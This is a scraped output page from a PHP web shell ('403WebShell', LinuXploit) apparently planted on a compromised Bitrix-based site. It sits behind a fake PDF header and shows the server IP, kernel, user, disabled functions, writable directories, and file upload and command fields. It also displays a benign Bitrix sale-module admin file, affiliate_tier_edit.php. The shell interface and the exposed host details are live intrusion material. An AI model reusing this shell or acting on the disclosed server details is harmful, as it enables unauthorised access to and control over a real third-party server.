%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.220.163.144
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/admin/affiliate_tier_edit.php
<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");
if ($saleModulePermissions=="D")
	$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

IncludeModuleLangFile(__FILE__);

\Bitrix\Main\Loader::includeModule('sale');

if(!CBXFeatures::IsFeatureEnabled('SaleAffiliate'))
{
	require($DOCUMENT_ROOT."/bitrix/modules/main/include/prolog_admin_after.php");

	ShowError(GetMessage("SALE_FEATURE_NOT_ALLOW"));

	require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
	die();
}

ClearVars();

$errorMessage = "";
$bVarsFromForm = false;

$ID = intval($ID);

if ($REQUEST_METHOD=="POST" && $Update <> '' && $saleModulePermissions>="W" && check_bitrix_sessid())
{
	if ($SITE_ID == '')
		$errorMessage .= GetMessage("SATE1_NO_SITE").".<br>";

	$RATE1 = str_replace(",", ".", $RATE1);
	$RATE1 = DoubleVal($RATE1);

	$RATE2 = str_replace(",", ".", $RATE2);
	$RATE2 = DoubleVal($RATE2);

	$RATE3 = str_replace(",", ".", $RATE3);
	$RATE3 = DoubleVal($RATE3);

	$RATE4 = str_replace(",", ".", $RATE4);
	$RATE4 = DoubleVal($RATE4);

	$RATE5 = str_replace(",", ".", $RATE5);
	$RATE5 = DoubleVal($RATE5);

	if ($errorMessage == '')
	{
		$dbAffiliateTier = CSaleAffiliateTier::GetList(array(), array("SITE_ID" => $SITE_ID, "!ID" => $ID));
		if ($dbAffiliateTier->Fetch())
			$errorMessage .= str_replace("#SITE_ID#", $SITE_ID, GetMessage("SATE1_EXISTS")).".<br>";
	}

	if ($errorMessage == '')
	{
		$arFields = array(
			"SITE_ID" => $SITE_ID,
			"RATE1" => $RATE1,
			"RATE2" => $RATE2,
			"RATE3" => $RATE3,
			"RATE4" => $RATE4,
			"RATE5" => $RATE5,
		);

		if ($ID > 0)
		{
			if (!CSaleAffiliateTier::Update($ID, $arFields))
			{
				if ($ex = $APPLICATION->GetException())
					$errorMessage .= $ex->GetString().".<br>";
				else
					$errorMessage .= GetMessage("SATE1_ERROR_SAVE").".<br>";
			}
		}
		else
		{
			$ID = CSaleAffiliateTier::Add($arFields);
			$ID = intval($ID);
			if ($ID <= 0)
			{
				if ($ex = $APPLICATION->GetException())
					$errorMessage .= $ex->GetString().".<br>";
				else
					$errorMessage .= GetMessage("SATE1_ERROR_SAVE").".<br>";
			}
		}
	}

	if ($errorMessage == '')
	{
		if ($apply == '')
			LocalRedirect("/bitrix/admin/sale_affiliate_tier.php?lang=".LANG.GetFilterParams("filter_", false));
	}
	else
	{
		$bVarsFromForm = true;
	}
}

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/prolog.php");

if ($ID > 0)
	$APPLICATION->SetTitle(str_replace("#ID#", $ID, GetMessage("SATE1_TITLE_UPDATE")));
else
	$APPLICATION->SetTitle(GetMessage("SATE1_TITLE_ADD"));

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");

$dbAffiliateTier = CSaleAffiliateTier::GetList(array(), array("ID" => $ID));
if (!$dbAffiliateTier->ExtractFields("str_"))
	$ID = 0;

if ($bVarsFromForm)
	$DB->InitTableVarsForEdit("b_sale_affiliate_tier", "", "str_");
?>

<?
$aMenu = array(
		array(
				"TEXT" => GetMessage("SATE1_LIST"),
				"LINK" => "/bitrix/admin/sale_affiliate_tier.php?lang=".LANG.GetFilterParams("filter_"),
				"ICON" => "btn_list"
			)
	);

if ($ID > 0)
{
	$aMenu[] = array("SEPARATOR" => "Y");

	$aMenu[] = array(
			"TEXT" => GetMessage("SATE1_ADD"),
			"LINK" => "/bitrix/admin/sale_affiliate_tier_edit.php?lang=".LANG.GetFilterParams("filter_"),
			"ICON" => "btn_new"
		);

	if ($saleModulePermissions >= "W")
	{
		$aMenu[] = array(
				"TEXT" => GetMessage("SATE1_DELETE"),
				"LINK" => "javascript:if(confirm('".GetMessage("SATE1_DELETE_CONF")."')) window.location='/bitrix/admin/sale_affiliate_tier.php?ID=".$ID."&action=delete&lang=".LANG."&".bitrix_sessid_get()."#tb';",
				"WARNING" => "Y",
				"ICON" => "btn_delete"
			);
	}
}
$context = new CAdminContextMenu($aMenu);
$context->Show();
?>

<?if($errorMessage <> '')
	echo CAdminMessage::ShowMessage(Array("DETAILS"=>$errorMessage, "TYPE"=>"ERROR", "MESSAGE"=>GetMessage("SATE1_ERROR_SAVE"), "HTML"=>true));?>

<form method="POST" action="<?echo $APPLICATION->GetCurPage()?>?" name="form1">
<?echo GetFilterHiddens("filter_");?>
<input type="hidden" name="Update" value="Y">
<input type="hidden" name="lang" value="<?echo LANG ?>">
<input type="hidden" name="ID" value="<?echo $ID ?>">
<?=bitrix_sessid_post()?>

<?
$aTabs = array(
	array("DIV" => "edit1", "TAB" => GetMessage("SATE1_TIER"), "ICON" => "sale", "TITLE" => GetMessage("SATE1_TIER_ALT")),
);

$tabControl = new CAdminTabControl("tabControl", $aTabs);
$tabControl->Begin();
?>

<?
$tabControl->BeginNextTab();
?>

	<?if ($ID > 0):?>
		<tr>
			<td width="40%">ID:</td>
			<td width="60%"><?=$ID?></td>
		</tr>
	<?endif;?>
	<tr class="adm-detail-required-field">
		<td width="40%"><?echo GetMessage("SATE1_SITE")?></td>
		<td width="60%">
			<?echo CSite::SelectBox("SITE_ID", $str_SITE_ID, "", "");?>
		</td>
	</tr>
	<tr>
		<td><?echo GetMessage("SATE1_RATE1")?></td>
		<td>
			<input type="text" name="RATE1" value="<?= $str_RATE1 ?>" size="10" maxlength="10">%
		</td>
	</tr>
	<tr>
		<td><?echo GetMessage("SATE1_RATE2")?></td>
		<td>
			<input type="text" name="RATE2" value="<?= $str_RATE2 ?>" size="10" maxlength="10">%
		</td>
	</tr>
	<tr>
		<td><?echo GetMessage("SATE1_RATE3")?></td>
		<td>
			<input type="text" name="RATE3" value="<?= $str_RATE3 ?>" size="10" maxlength="10">%
		</td>
	</tr>
	<tr>
		<td><?echo GetMessage("SATE1_RATE4")?></td>
		<td>
			<input type="text" name="RATE4" value="<?= $str_RATE4 ?>" size="10" maxlength="10">%
		</td>
	</tr>
	<tr>
		<td><?echo GetMessage("SATE1_RATE5")?></td>
		<td>
			<input type="text" name="RATE5" value="<?= $str_RATE5 ?>" size="10" maxlength="10">%
		</td>
	</tr>
<?
$tabControl->EndTab();
?>

<?
$tabControl->Buttons(
	array(
		"disabled" => ($saleModulePermissions < "W"),
		"back_url" => "/bitrix/admin/sale_affiliate_plan.php?lang=".LANG.GetFilterParams("filter_")
	)
);
?>

<?
$tabControl->End();
?>
</form>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");?>

Youez - 2016 - github.com/yon3zu
LinuXploit